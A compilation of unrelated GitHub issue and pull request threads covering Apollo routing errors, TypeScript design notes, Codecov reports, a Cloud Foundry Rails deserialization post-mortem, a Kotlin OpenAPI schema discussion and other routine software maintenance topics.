[planning]Routing is not ready

We appreciate you go through Apollo documentations and search previous issues before creating an new one. If neither of the sources helped you with your issues, please report the issue using the following form. Please note missing info can delay the response time.
System information

OS Platform and Distribution (e.g., Linux Ubuntu 18.04):
Apollo installed from (source or binary):
Apollo version (6.0,7.0):
Output of apollo.sh config if on master branch:

Steps to reproduce the issue:

Please use bullet points and include as much details as possible:

Supporting materials (screenshots, command lines, code/script snippets):
Dreamview shows that routing is successful, but  I opened apollo and the planning module  shows that Routing is not ready Therefore, the planning module cannot be fully started normally ,What is the reason for this?thank you!

@kakuhin1984 This error is normal, because this check will be done after planning starts, and routing has not been sent at this time. This error is only in the startup phase, so the real error may be later, you need to look at the last output of the log

@kakuhin1984 This error is normal, because this check will be done after planning starts, and routing has not been sent at this time. This error is only in the startup phase, so the real error may be later, you need to look at the last output of the log

hello!I did this experiment with only the routing (dreamview launch) and planning (cyber_lauch launch in docker) module, so how could I do this without starting simctl(simctl is ok no errors)? Could planning not report the error of no routing after sending routing?thx!

[planning]Routing is not ready appeared, so how could I do this without starting simctl(simctl is ok no errors)

So what is the purpose of starting the planning module?

Could planning not report the error of no routing after sending routing?

Yes, It will stop report error when routing is ready, but I believe your hands are not that fast!!!

I would like to see a routing request set in dreamview so planning should not report an error,Because I did give a request to routing for planning requirement..

[planning]Routing is not ready appeared, so how could I do this without starting simctl(simctl is ok no errors)

So what is the purpose of starting the planning module?

Could planning not report the error of no routing after sending routing?

Yes, It will stop report error when routing is ready, but I believe your hands are not that fast!!!

I would like to see a routing request set in dreamview so planning should not report an error,Because I did give a request to routing for planning requirement..

planing---------------routing not ready----------------->|------------------------routing ready----------------->
routing------------------------------------------------------->routing request--------------------------------------->
----------------------------error-------------------------------|-------------------------error gone-------------------->
if you start planning the error message will always print, after you send routing request then it will go. there is a gap between start planning and send routing request, this is why you see the error message.


Reduce Overview sections to a single page

The Overview document should limit section size to one page per section to increase readability and use as handouts.

Completed in  https://github.com/OpenInternet/SAFETAG/commit/d6d7ccf7f3fecb58966b98f8c579ee7753e29c81


SCMO-10056-bruteforce lowercasing

Jira Task
Description

Motivation and Context

Types of changes

[ ] Bugfix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to
not work as expected)
[ ] Tests (extending the test suite)
[ ] Documentation Update (if none of the other choices apply)

How has this been tested?

Screenshots (if appropriate):
Checklist:

[ ] My code follows the code style of this project.
[ ] I have added tests to cover my changes
[ ] All new and existing tests passed
[ ] My change requires a change to the documentation.
[ ] I have updated the documentation accordingly.

Further comments

I think this should be configurable - the fact that we are ignoring case sensitivity in Identity does not mean it should be like that hardcoded for Pyron


Draft: Config for server

This branch represents the configuration needed to run the application from my domain: pblank.blewi.xyz
Important Changes

Changed all API routes to be prefixed by /api to allow for reverse proxy to handle frontend and backend requests
Changed API root configuration for frontend to pblank.blewi.xyz in http.js
Chagned CORS to accept from pblank.blewi.xyz in backends app.js
Made the postgres docker config dependant on pgadmin such that docker the DB alone, and the backend/frontend independently.
Changed file permissions (hence the change on all files)

I vote we do not merge this. It only has our server config which is not something I want to persist to the dev or prod versions. I'm quite happy with it never being a merged branch, we can maybe take some inspiration from it as far as "touchpoints" go for when we write a proper installer of sorts.


fix: Rendering standalone chart

SUMMARY
This PR fixes problem with rendering standalone charts.
 When it's loaded add &standalone=true to the URL and check if chart is rendered.
ADDITIONAL INFORMATION

[X] Has associated issue: #12176
[ ] Changes UI
[ ] Requires DB Migration.
[ ] Confirm DB Migration upgrade and downgrade tested.
[ ] Introduces new feature or API
[ ] Removes existing feature or API

cc @villebro

Codecov Report

Merging #12179 (881635c) into master (942e321) will decrease coverage by 3.32%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master   #12179      +/-   ##
==========================================
- Coverage   66.75%   63.43%   -3.33%
==========================================
  Files         994      484     -510
  Lines       49068    29755   -19313
  Branches     4979        0    -4979
==========================================
- Hits        32756    18874   -13882
+ Misses      16184    10881    -5303
+ Partials      128        0     -128

Flag
Coverage Δ

cypress
?

javascript
?

python
63.43% <ø> (-0.83%)
:arrow_down:

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

superset/db_engines/hive.py
0.00% <0.00%> (-85.72%)
:arrow_down:

superset/sql_validators/postgres.py
50.00% <0.00%> (-50.00%)
:arrow_down:

superset/db_engine_specs/hive.py
54.61% <0.00%> (-29.62%)
:arrow_down:

superset/db_engine_specs/mysql.py
79.59% <0.00%> (-12.25%)
:arrow_down:

superset/db_engine_specs/sqlite.py
65.62% <0.00%> (-9.38%)
:arrow_down:

superset/databases/commands/create.py
83.67% <0.00%> (-8.17%)
:arrow_down:

superset/databases/commands/update.py
85.71% <0.00%> (-8.17%)
:arrow_down:

superset/connectors/sqla/models.py
85.22% <0.00%> (-6.28%)
:arrow_down:

superset/utils/celery.py
96.42% <0.00%> (-3.58%)
:arrow_down:

superset/models/core.py
85.59% <0.00%> (-3.27%)
:arrow_down:

... and 519 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 942e321...881635c. Read the comment docs.


Design Meeting Notes, 1/31/2020

Should an Optional Chain Always Add undefined to the Type?
https://github.com/microsoft/TypeScript/issues/36163#issuecomment-574359197
const arr = [1, 2, 3, 4, 5]
const j = Math.random() * 1000 % 1;

const k = arr[j]?.toFixed();

If index signatures included undefined, you'd get undefined.

But this can go beyond that case.

Defensive code in general.

But we have plenty of places where we don't make || conservative.
// Inferred to `number[]` because we
// don't assume it *could* be null/undefined
function foo(x: number[]) {
    return x || "hello"
}

Okay, but are you going to trust that the user wrote ?. for a reason, or assume we have a perfect type system?

Seems like the indexing case is hard to explain to users

Okay, but maybe we could fix the indexing case?

Really a separate issue

Are people encountering this?

It's a new feature, and the longer we wait, the more we may hear about this.

Why would you write ?. on a defined type unless you planned to immediately handle them?

The indexing case?
Then let's solve the indexing case.

Should we also change || and &&?

Maybe!
What!? This behavior is so old, who exactly are you helping by changing that?
Pretty sure we need code like this to work because of how narrowing within arrays works today.

Discussion inconclusive

Augmenting Keys
#12754

Some demand to do two things:

Slicing/dicing strings to convert from/to camelCase, kebab-case, etc.
Filtering out types
And maybe just concatenating literals

Would be nice to write
type Foo<T> = {
    [K in keyof T as StringConcat<"get-", K>]: T[K]
};

Could you do something like the following?
type Foo<T> = {
    [K in StringConcat<"get-", keyof T>]: T[K]
};

Created a prototype that wires up a bunch of type aliases that have special behavior:
type StringToUpper<K> = ...; // StringToUpper<"Foo"> -> "FOO"
type StringToLower<K> = ...; // StringToLower<"Foo"> -> "foo"

// StringSlice<"hello", 1> -> "ello"
type StringSlice<K, Start extends number, End extends number> = ...;

// StringConcat<"foo", "bar"> -> "foobar"
type StringConcat<K1, K2> = ...;

// StringMatch<"foo" | "bar" | "baz", "a"> -> "bar" | "baz"
type StringMatch<K, Pattern extends string> = ...;

Won't these cause a lot of exponential explosions in the type system?

Sure, but we already have those.

Yes, But we're already trying to grapple with them.

Can we not use type aliases for everything here?

Not clear that it's better.
Strange that there's a magical name that has behavior instead of something core to the language.

But creating more operators/keywords would be a lot of new work in the parser.

Many of these aren't useful on generics - what if we just let people write actual code to do this?

Now you have to have a API on our type system.

Do we think this is something we want to solve?

Need to see the use-cases - what are people doing today?

Code generators? Index signatures?

Can't necessarily say "yes", but probably not near-term. We should be focusing on speed.

Why would you write ?. on a defined type unless you planned to immediately handle them?

People new to TS carry the need to write defensive code everywhere even if it's unnecessary. If TS implicitly added | undefined here, it would suddenly make these legitimate and make it necessary to add even more defensive code to handle the new undefined values that aren't really there at runtime!

Misc. thoughts from a random user:

For the string concatenation case, is there a reason we couldn't just use the + operator?

This would mean we'd have syntactic parity between value-level concatenation and type-level concatenation

There's already precedent in Flow for built-in "type aliases" (e.g. $Call, $Exact, etc), so it wouldn't be too crazy IMO if TypeScript were to introduce a few

In fact, for better or worse, doing so would allow you guys to special-case more complex typing solutions without syntax new syntax (e.g. $Awaited, $Coroutine, etc)

We don't like the type aliases (especially the leading $), but yeah, it's the easiest way to make this "scale".

Hey @DanielRosenwasser ,
are there plans to implement the string utility types?  I'd like to help, as I'm very much interested in this feature. Although I have no experience working with the TS code base at all, I'd like to invest my time. Maybe it could help me fix one bug or another in the future 😄

No plans right now - we had a mock-up demonstrated at the design meeting, but the concern was more about complexity and speed.

https://github.com/microsoft/TypeScript/issues/40124


Server not showing up in kaillera list

Since I haven't registered it with the Kailera server, I'm not entirely sure, but is my server program functioning correctly? I haven't been able to test it extensively.

Servers are running fine Some emulators don't support online

Soon I'll update direlera-rs to register kaillera official page.
I now re-write direlera-rs whole codebases.


unsupported chargingScenario: immediatelyChargingFinished - please report this as a bug

Just found this in my logs:
WARNING:addressable:/vehicles/WVGZZZE2ZPP51XXXX/domains/charging/chargingStatus/chargingScenario: An unsupported chargingScenario: immediatelyChargingFinished was provided, known values are [off, unknown charge type] please report this as a bug
regards
Ulrich

Hi Ulrich,
thank you for reporting. This is already fixed in the repo and will be available with the next release.

There are more charging scenarios currently producing warnings: chargingToDepartureTimeWaiting, chargingToDepartureTimeActive, optimisedChargingFinished
Are these also fixed?

thanks for reporting will add those too

fixed in 0.24.6


encryptModel.sh does not encrypt NMProperties

After running encryptModel.sh I can see this.
CustomIdentityKeyStorePassPhraseEncrypted: '{AES}RzBpZm1xTnhyb2Vjc0F2L2d4KzlRdWk4MXEwczEvb2ZzdTE4VVhKQTowRUQya1ZFc0t2Smw1d1BXOnZXczJXTWNIc1k0PQ=='
However, when it comes to NMProperties, I can see
NMProperties:
        CrashRecoveryEnabled: true
        CustomIdentityKeyStorePassPhrase: cleartextpass
        CustomIdentityAlias: testkey
        CustomIdentityPrivateKeyPassPhrase: cleartextpass
        CustomIdentityKeyStoreFileName: /some/path/idstore.jks
        CustomIdentityKeyStoreType: JKS
        ListenPort: 6660
        KeyStores: CustomIdentityAndCustomTrust
        ListenAddress: 'machine01.pegasus.net'
        weblogic.StartScriptName: startWebLogic.sh

Is there a way to encrypt CustomIdentityKeyStorePassPhrase and CustomIdentityPrivateKeyPassPhrase?
Best regards,
TAM

Any ideas about this?

This is a bug and will be fixed in the next release.

Fixed by #861


typo Fix a wrongly written in the release note for 1.2.0 version

Proposed changes
Fix a wrongly written characters in the release note for 1.2.0 version
Further comments
If this is a relatively large or complex change, kick off the discussion at<EMAIL_ADDRESS>by explaining why you chose the solution you did and what alternatives you considered, etc...

run buildall


Allow to register validators from multiple assemblies in AspNetCore.

Currently, when doing something like:
public void ConfigureServices(IServiceCollection services)
{
    services
        .AddMvc()
        .AddFluentValidation(config =>
        {
            config.RegisterValidatorsFromAssemblyContaining<ClassInSharedProject>();
            config.RegisterValidatorsFromAssemblyContaining<ClassInLocalProject>();
        });
}

Only the last assembly is registered. This PR allows for multiple assemblies to be registered.
Note: for some reason, the FluentValidation.dll sources are not compiling in my machine, so I wasn't able to properly test this, but I didn't want to just leave issue for this.

Thanks!


add school

@moonfy Please provide additional proofs that this domain belongs to the University of Gdansk. As of now, it looks like a fake domain. You can also provide us with an email of an official in the University administration to check the domain ownership with.

@moonfy You might miss my previous comment. Please react.

@moonfy I am sorry, this request remains unanswered for a while. I have to close it without merging. Please reopen and comment if you have an update regarding the abovementioned issue. Thank you for the understanding!


New package: Toybox v0.1.2

Registering package: Toybox
Repository: https://github.com/nmoran/Toybox.jl
Created by: @nmoran
Version: v0.1.2
Commit: 1b0e9adecff5a49d8a3ff6fec5e7f3b5624a995b
Git reference: master

Please add (at least)
[compat]
julia = "1"

to your project file and retrigger the bot.

Also, just quickly skimming through the code, I am not sure how you are supposed to use this as a package, it only proviedes a hello world function?

Please add (at least)
[compat]
julia = "1"

to your project file and retrigger the bot.
Added

Also, just quickly skimming through the code, I am not sure how you are supposed to use this as a package, it only proviedes a hello world function?

Yes, it's very much a placeholder now and finalising some more substantial functionality now which I'll commit shortly.

Added, wondering how to retrigger the bot?

You just redo what you did when you first submitted this PR.

Yes, it's very much a placeholder now and finalising some more substantial functionality now which I'll commit shortly.

Okay. Do you still want it merged? Registering a package is really only for making it more convenient for other users to use the package, but if this is not ready just yet, maybe wait? Let me know what you prefer.


Added expression legend and gradient. Added panel tab auto resize.

I recommend syncing with refactor first and then go on making more changes. Always sync with base when you are behind so that you can avoid modifying out-of-date stuffs.

LGTM. You may now merge.


Content section in some of the files

(Related to issue #91)
NOTE: see the next comment for the latest info of the pr
Added a content section having main headings and subheadings of the file.
files edited:

NumPy.md
Css_Flexbox Cheatsheet.md
Flutter.md

if you like what I did and want me to do it for the rest feel free to reach out.

closes #91
hi @Suryansh1720001 i have created content section for the following files:

NumPy.md
Css_Flexbox Cheatsheet.md
Flutter.md
GitBash_sheet.md
NPM.md
vim editor_cheatsheet.md
ubuntu-22.04.md
typescript.md
react-three-fibre.md
linux.md
java.md
docker.md

if you like what i have done pls accept my pr

Hello @Veerhan-glitch
Thanks for your contribution.
Let's connect ->
GitHub -> @Suryansh1720001 (Follow)
LinkedIn -> https://www.linkedin.com/in/suryanshprajapati17
Also Star the repo ⭐


Fix virtual addon for media queries

Fixes #193.

:tada: This PR is included in version 3.2.0 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


[Feature request] Make full use of five-button mouse

[x] I have checked that a similar feature request does not already exist.

It would be awesome if a five-button mouse could be fully utilized. (specifically, so the back button on the mouse is the back button in android, not right-click)
Is your feature request related to a problem? Please describe.
Honestly, the biggest issue I'm dealing with when using this app is forgetting that right-click does NOT mean the context menu like literally everything else. It quite often erases work, too, if the app leaves the form you were entering data into.
I get it if you've only got a two-button or three-button mouse, but it would be SO useful to have an option to use the two other buttons a five-button mouse provides for this use.
Describe the solution you'd like
I don't know if software can detect which kind of mouse is available, so perhaps this should be set up as an option.
But how I imagine this working, if enabled, the five-button mouse config would remap to something like this:

Left-click is a tap event as usual
Right-click is either a tap event, or if possible triggers the context menu like a long-tap. (it's fine if it's just a tap event, this one's low priority)
Middle click can stay as returning to the app launcher.
Mouse4, forward button, can view Open Apps (whatever that's properly called. App Switcher?)
Mouse5, back button, should be the back button

Describe alternatives you've considered
I suppose the other major alternative idea would be to have a way to remap all shortcuts and events...
Thanks for reading this

just want to also vote for this.  I came looking for any documentation on how I could use the mouse to open the notification menu.  As I get notifications, trying to click and drag is very awkward.  I see there is a keyboard shortcut, but most of my interaction with scrcpy is with the mouse, so I was hoping I could customize the mouse button mapping somehow to make something open up the notification menu.  Since I have extra buttons on my mouse, using one of the side buttons would be great if it could open up the notification menu. Searching I found this issue and just wanted to voice support.  scrcpy is great!

#2258


[Post-Mortem] Deserialization errors caused by Rails update

Symptom
We have a monitor for cf push; that means we push a simple application once every 5 minutes. This monitor detected a "downtime" while we were updating our largest internal foundation from CAPI 1.124.0 to 1.126.0.

Failure
The errors lasted for about 1.5 hours. When looking into the logs of the monitor, it could be seen that cf push did not fail, but did not succeed in time (it has a timeout of less than 5 minutes).
The "downtime" correlated with the update of api and cc-worker vms. When searching for logs produced for a cf push that timed out, a deserialization error could be found:
Mar 24, 2022 @ 18:29:29.407	(0.000888s) (lib/delayed_job_plugins/deserialization_retry.rb:12:in `block (2 levels) in <class:DeserializationRetry>') (query_length=21114) UPDATE "delayed_jobs" SET "guid" = '920c6540-0f2d-4f46-91dc-2769fefec587', "created_at" = '2022-03-24 18:29:29.250646+0000', "updated_at" = CURRENT_TIMESTAMP, "priority" = 0, "attempts" = 1, "handler" = '--- !ruby/object:VCAP::CloudController::Jobs::LoggingContextJob
handler: !ruby/object:VCAP::CloudController::Jobs::TimeoutJob
  handler: !ruby/object:VCAP::CloudController::Jobs::PollableJobWrapper
    existing_guid:
    handler: !ruby/object:VCAP::CloudController::Jobs::SpaceApplyManifestActionJob
[...]
', "last_error" = 'Job failed to load: undefined method `default_proc='' for nil:NilClass.'

Root Cause
Further analyses showed that the root cause for this error is the Ruby on Rails update from version 5.x to 6.x that included a change in the error model (rails/rails/pull/32313). The serialization of an empty ActiveModel::Errors object changed from:
--- !ruby/object:ActiveModel::Errors
  messages: {}
  details: {}

to:
--- !ruby/object:ActiveModel::Errors
  errors: []

The nil:NilClass error is raised when a cc-worker running Rails 5 tries to deserialize a job created by an api node already updated to Rails 6 as the payload does not contain messages anymore.
sequenceDiagram
  participant API 1.124.0
  participant WORKER 1.124.0
  participant CCDB
  participant API 1.126.0
  participant WORKER 1.126.0

  rect rgba(0, 255, 0, .4)
    API 1.124.0->>CCDB: serialize job
    CCDB->>WORKER 1.124.0: deserialize job
    note over WORKER 1.124.0: success
  end

  note over API 1.124.0,WORKER 1.126.0: update started

  rect rgba(255, 0, 0, .4)
    API 1.126.0->>CCDB: serialize job
    CCDB->>WORKER 1.124.0: deserialize job
    note over WORKER 1.124.0: failure
  end

  note over API 1.124.0,WORKER 1.126.0: update finished

  rect rgba(0, 255, 0, .4)
    API 1.126.0->>CCDB: serialize job
    CCDB->>WORKER 1.126.0: deserialize job
    note over WORKER 1.126.0: success
  end

Mitigation
There already is a mitigation in place, i.e. the DeserializationRetry plugin that ensures that all jobs failing with Job failed to load are rescheduled.
Although this retry mechanism works as intended, it could not prevent the significant service degradation we experienced. Due to the fact that we have many api nodes (far more than 100), it simply takes some time until all of them are updated. And only after all api nodes have been updated, the cc-worker vms are in line.
So when the job was finally processed by an updated cc-worker, it failed as the app was already deleted. This is due to the fact that the cf push monitor deletes the app in the end and also cleans up failed apps from previous runs:
# Mar 24, 2022 @ 19:59:33.598	(0.001951s) (51086a20d7be919cc370b15e4225a7ea526e809f/gem_home/ruby/2.7.0/gems/talentbox-delayed_job_sequel-4.3.0/lib/delayed/backend/sequel.rb:111:in `save!') (query_length=19799) UPDATE "delayed_jobs" SET "guid" = '920c6540-0f2d-4f46-91dc-2769fefec587', "created_at" = '2022-03-24 18:29:29.250646+0000', "updated_at" = CURRENT_TIMESTAMP, "priority" = 1, "attempts" = 19, "handler" = '--- !ruby/object:VCAP::CloudController::Jobs::LoggingContextJob
handler: !ruby/object:VCAP::CloudController::Jobs::TimeoutJob
  handler: !ruby/object:VCAP::CloudController::Jobs::PollableJobWrapper
    existing_guid:
    handler: !ruby/object:VCAP::CloudController::Jobs::SpaceApplyManifestActionJob
[...]
', "last_error" = 'App with guid ''279c616d-2e8c-4cfa-9eca-bda9ec464740'' not found'

Fix
Before continuing to rollout the update to customer-facing foundations, we decided to patch the deserialization to be compatible between Rails versions 5 and 6.
Therefore we cherry-picked this commit onto CAPI 1.124.0 and 1.126.0.
Depending on the Rails version (Rails::VERSION::MAJOR) it monkey patches ActiveModel::Errors.init_with either with a version that can also deserialize errors serialized with Rails 6 or those serialized with Rails 5.
The error outlined above could be prevented by solely making the old CAPI release capable of deserializing Rails 6 errors; but as there is also the possibility that jobs created by an api node running Rails 5 are still in the database after the update (e.g. due to retries of failed jobs), we also patched the new CAPI release to be able to deserialize Rails 5 errors.

I added a warning to the release that contains the upgrade: https://github.com/cloudfoundry/capi-release/releases/tag/1.125.0
Maybe we could do some work to prevent these issues in the future, like adding a Concourse job that attempts deserialization of jobs between different CAPI versions?

I would like to start with a more lightweight test if possible in terms of managing environments, simply because the burden of maintaining our pipeline is already significant.
I was thinking something similar to recording fixtures as you mentioned.  Something like:

every release, record fixtures of jobs and commit somewhere
have a ruby test file/directory for jobs that at the minimum deserializes the relevant job and checks that it can be run without failure
run that file on the N past versions' generated fixtures

Slightly trickier:
4. generate a file for the latests commit of CCNG, and run the previous release against that file.

@johha That would be for sure be a nice way to ensure compatibillity. However now bosh has to wait for the "old" CC Job Queue to be empty before removing all "old" cc_workers. Otherwise you are left with old stuff in this queue and they wouldnt be picket up anymore. I dont have experience in syncing such operations with bosh, could imagine this is quite complex and delays a cf deployment as long as the job timeout is. So by hours or days depending what is set.


Wrapper in nltk.classify for scikit-learn classifiers

I hacked up a wrapper for the classifiers in scikit-learn, of which I happen to be one of the maintainers. It's very simple at present and might not follow NLTK coding guidelines completely, but I though I'd open this PR before completely finishing it.
The module does not try to import scikit-learn; instead, it wants the user to create a sklearn classifier and pass that to a SklearnClassifier wrapper object. The reason for this setup is that the number of (meta-)classifiers in scikit-learn is too huge to enumerate them.
Included is a demo on the names example, using scikit-learn's Bernoulli Naive Bayes and linear SVM algorithms.
Please let me know if there is interest in this at all.

Yes, the source code is available, but the license was deemed too restrictive for scikit-learn (which is entirely BSD/MIT-licensed). Well, just drop me a line here if this is interesting to you folks. I'm not on nltk-dev because I get enough mail already, but if necessary I can subscribe to it in digest mode.

@larsmans -- thanks Lars, this is great!  I'll merge this, and we'll take care of getting it to conform with our coding standards.
@kmike -- so long as a pysvmlight interface is not costing us to maintain, I'm happy to keep it -- but feel free to discuss that on nltk-dev.

That's quick! I'll try to hack on a prob_classify member as well; except another PR soon.


It seems that a lot of changes has been made since the zig version of 0.12.0-dev.1835+697b8f7d2.

I cloned the zig-template project and run zig build serve with the zig version of 0.12.0-dev.2105+60094cc3f. There were many errors, after some checking, I found that most errors were related to the changes of the name of API and the location of API. I tried to change them to the latest version of zig, but there were too many, so I first issued this and see what I can help with.
Here are some APIs that may be changed.

std.build.Builder -> std.Build
addModule was moved to std.Build.addModule.

Anything I can help with please tell me, I would try my best.

closed by fbb15f4a63f0ffbdbcde77bb2ee2eea649f974a3


Srt new log

For srt has dependent thread which is different with st, the srt module should not use srs log directly.
We send the log happened in srt module to srs st which can print the log message.

Codecov Report

Merging #2459 (6540211) into develop (ce47d5c) will decrease coverage by 0.00%.
The diff coverage is n/a.

@@             Coverage Diff             @@
##           develop    #2459      +/-   ##
===========================================
- Coverage    42.77%   42.77%   -0.01%
===========================================
  Files          101      101
  Lines        35944    35943       -1
===========================================
- Hits         15376    15375       -1
  Misses       20568    20568

Impacted Files
Coverage Δ

trunk/src/kernel/srs_kernel_rtc_rtcp.cpp
1.98% <ø> (+<0.01%)
:arrow_up:

trunk/src/protocol/srs_service_utility.cpp
72.43% <0.00%> (-0.55%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update ce47d5c...6540211. Read the comment docs.

submit a new one, so I have to delete this.


queue stream window updates directly from stream.Read

Should be merged after #1048.
By queueing receive window updates directly from stream.Read, it is no longer necessary to ask every stream for window updates when sending a packet.

Codecov Report

Merging #1049 into master will increase coverage by 0.05%.
The diff coverage is 94.82%.

@@            Coverage Diff             @@
##           master    #1049      +/-   ##
==========================================
+ Coverage    90.8%   90.84%   +0.05%
==========================================
  Files         104      107       +3
  Lines        7192     7231      +39
==========================================
+ Hits         6530     6569      +39
- Misses        428      429       +1
+ Partials      234      233       -1

Impacted Files
Coverage Δ

packet_packer.go
90.35% <ø> (-0.17%)
:arrow_down:

crypto_stream.go
100% <100%> (ø)
:arrow_up:

stream_framer.go
96.88% <100%> (-0.63%)
:arrow_down:

internal/flowcontrol/base_flow_controller.go
100% <100%> (ø)
:arrow_up:

server_tls.go
73.83% <100%> (ø)
:arrow_up:

window_update_queue.go
100% <100%> (ø)

streams_map.go
92.22% <100%> (ø)
:arrow_up:

session.go
84.24% <68.18%> (+0.43%)
:arrow_up:

stream.go
88.24% <89.47%> (-7.71%)
:arrow_down:

send_stream.go
95.68% <95.68%> (ø)

... and 4 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update c0eb12b...e6185b3. Read the comment docs.


Global Type Replacement

Hey!
I was wondering if it was possible to globally replace Instant to a int64 when it's converted to the OpenAPI Spec, when we send data from our service to whatever is consuming it we usually send Instants as Milliseconds instead of a string, so it'd be useful to just have it globally convert to a int64.
I read #44 but I don't think it's quite what I need.
Here is my current configuration
fun Application.configureSwaggerUi() {
    install(SwaggerUI) {
        swagger {
            displayOperationId = true
        }

        info {
            title = "API"
            version = "latest"
            description = "The auto-generated API documentation for the API"
        }

        security {
            securityScheme("account") {
                description = "Typically used for Account Authentication on the Dashboard"
                type = AuthType.HTTP
                scheme = AuthScheme.BEARER
                bearerFormat = "JWT"
            }

            securityScheme("token") {
                description = "Used for having Applications interact with the Ingot API"
                type = AuthType.HTTP
                scheme = AuthScheme.BEARER
                bearerFormat = "API Token"
            }
        }

        server {
            url = "http://localhost:8080"
            description = "Development Server"
        }

        // kotlinx support
        schemas {
            generator = { type ->
                type
                    .processKotlinxSerialization()
                    .generateSwaggerSchema()
                    .withAutoTitle(TitleType.FULL)
                    .compileInlining()
            }
        }

        ignoredRouteSelectors = ignoredRouteSelectors + RateLimitRouteSelector::class
    }
}

Thank you!

Hi,
you can "redirect" the type "Instant" to e.g. "Long" in the schema generator config
type
    .processKotlinxSerialization {
        redirect<Instant, Long>()
    }
    .generateSwaggerSchema()
    .withAutoTitle(TitleType.FULL)
    .compileInlining()

this way, any occurence of an "Instance" is replaced with "Long".
You can find some more information here or here.

Thanks for the response, it looks like using redirect didn't work nor did making a customProcessor.
As taken from the docs this is what I wrote
generator = { type ->
    type
        .processKotlinxSerialization {
            customProcessor<Instant> {
                PrimitiveTypeData(
                    id = TypeId.build(Long::class.qualifiedName!!),
                    simpleName = Long::class.simpleName!!,
                    qualifiedName = Long::class.qualifiedName!!,
                )
            }
            redirect<Instant, Long>()
        }
        .generateSwaggerSchema()
        .withAutoTitle(TitleType.FULL)
        .compileInlining()
}

Of course I didn't put customProcessor and the redirect together but I tried them both individually.

Hey! After some more experimentation I found the issue.
My model definition was like this,
@Serializable
data class Example(
  val id: String,
  val created: @Contextual Instant
)

Using @Contextual makes it so the Instant doesn't get converted to a int64 during generation however, if I directly specify @Serializable(with = /* SERIALIZER */) that turns it into a Long it'll be generated out as a int64.
Is there any way to support @Contextual as it's more convenient for my team to use it.

Very sorry for all the replies to the issue without a response back but this is related enough to this topic that I didn't want to make an entirely separate issue for this.
For our permissions we store them as an enum, like this for example.
enum class Permission(val id: String) {
  USER_WRITE("user.write"),
  ;
}

Then in our response back to the client we send the id back.
However, when I generate the schema it results in a string. Is it possible to make all instances of the enum Permission in the OpenAPI Spec use the id field I provide in the enum? Even if I need to do some custom processing to achieve such.
Thank you!

Is there any way to support @Contextual as it's more convenient for my team to use it.

I'm not that familiar with @Contextual, but i'll look into it. :)

Is it possible to make all instances of the enum Permission in the OpenAPI Spec use the id field I provide in the enum?

Kotlinx is provinding the possible values for enums, so - as far is i know - i cant decide later which field/name to use. However, you could add @SerialName("user.write") to the enum values, though this is a kotlinx-serializer function and not a schema-kenerator one, so i'm not sure if this conflicts with something else for you.
Just our of curiosity. Is there a specific reason you are using kotlinx over reflection for schema generation? I'm just trying to better understand how this project is used :)

Haha thank you for your replies & apologies for sending so many questions your way.

I'm not that familiar with @Contextual, but i'll look into it. :)

In kotlinx.serialization you're allowed to provide a SerializersModule to your JSON configuration, so it'd look something like this.
val JSON = Json {
  /* json settings. */

  serializersModule = SerializersModule {
    contextual(UUID::class, UUIDSerializer)
  }
}

Now whenever a data class like such is used against the JSON instance it'll automatically fetch the UUID serializer from the contextual serializer you provided.
@Serializable
data class User(val id: @Contextual UUID)

JSON.encodetoString(User(UUID.randomUUID())) // automatically converts UUID using Contextual Serializer.

The way to fetch the KSerializer is in your plugin to allow the user to specify their SerializersModule then retrieve it from there.
Here is a basic example of how that works,
fun kSerializerFromClass(serializersModule: SerializersModule, clazz: Class<*>): KSerializer<Any>? {
  return serializersModule.serializerOrNull(clazz)
}

This'll just fetch the KSerializer from the SerializersModule they specify so if one is not specified in the Serializer annotation it can try to fetch it from the SerializersModule.

Kotlinx is provinding the possible values for enums, so - as far is i know - i cant decide later which field/name to use. However, you could add @SerialName("user.write") to the enum values, though this is a kotlinx-serializer function and not a schema-kenerator one, so i'm not sure if this conflicts with something else for you.

I think this should actually be fine, I'll test & generate the spec in a minute to see, I would've never thought of that thank you!

Just our of curiosity. Is there a specific reason you are using kotlinx over reflection for schema generation? I'm just trying to better understand how this project is used :)

The main reason is to use custom serializers for our spec for example,
@Serializable
data class Event(
  val id: String,
  val at: @Serializable(with = InstantSerializer::class) Instant
)

InstantSerializer converts the Instant into its millisecond representation which is then conveyed in the generate spec because whenever we send this Event to the client of our API it always expects it in milliseconds.
I found kotlinx.serialization to just be more reliable than reflection for our use-case and I've spent a lot of time roaming around the code understanding the basics of how everything works and trying different configurations for our auto-gen and kotlinx seemed to just work the best.
Thank you for the support, besides the @Contextual support & weird enum thing my team is doing the project has been very great to use, it's really boosting our teams productivity 👍

Update, unfortunately adding @SerialName to the enum doesn't effect the output enum entries 😔

thats weird. This setup ...
@Serializable
enum class Permission(val id: String) {
    @SerialName("user.write") USER_WRITE("user.write"),
    @SerialName("user.read") USER_READ("user.read");
}

typeOf<Permission>()
    .processKotlinxSerialization()
    .generateSwaggerSchema()
    .compileInlining()

... worked for me and produced the swagger schema:
{
  "exampleSetFlag" : false,
  "enum" : [ "user.write", "user.read" ]
}

That's so weird..
My configuration is exactly the same as I've first posted.
Let me try to make a entirely new project and see what happens with that.

!!! I lied!
I didn't add @Serializable to the top of my enum class, it works perfectly.
Thank you :)


Add support for Unattended-Upgrade::Update-Days

Pull Request (PR) description
Unattended-upgrades have added support for Update-Days with the setting
Unattended-Upgrade::Update-Days {"Mon";"Fri"};
This was added in git commit https://github.com/mvo5/unattended-upgrades/commit/3b27c5aec55d8f4360778bc351a1c61f1ae1e1ff and included in unattended-upgrades version 0.91

Hi @ostavnaas, thanks for the PR! Can you please take a look at the used email addres? It isn't associated with your github account. Please also have a look at the inline comments and add a unit test for this and document the parameter.

I don't think I can verify this input any better, because the Unattended-Upgrade::Update-Days depends on tzdata.

thanks!


expand-liquid fixes

Fix broken expansion for files that use handle
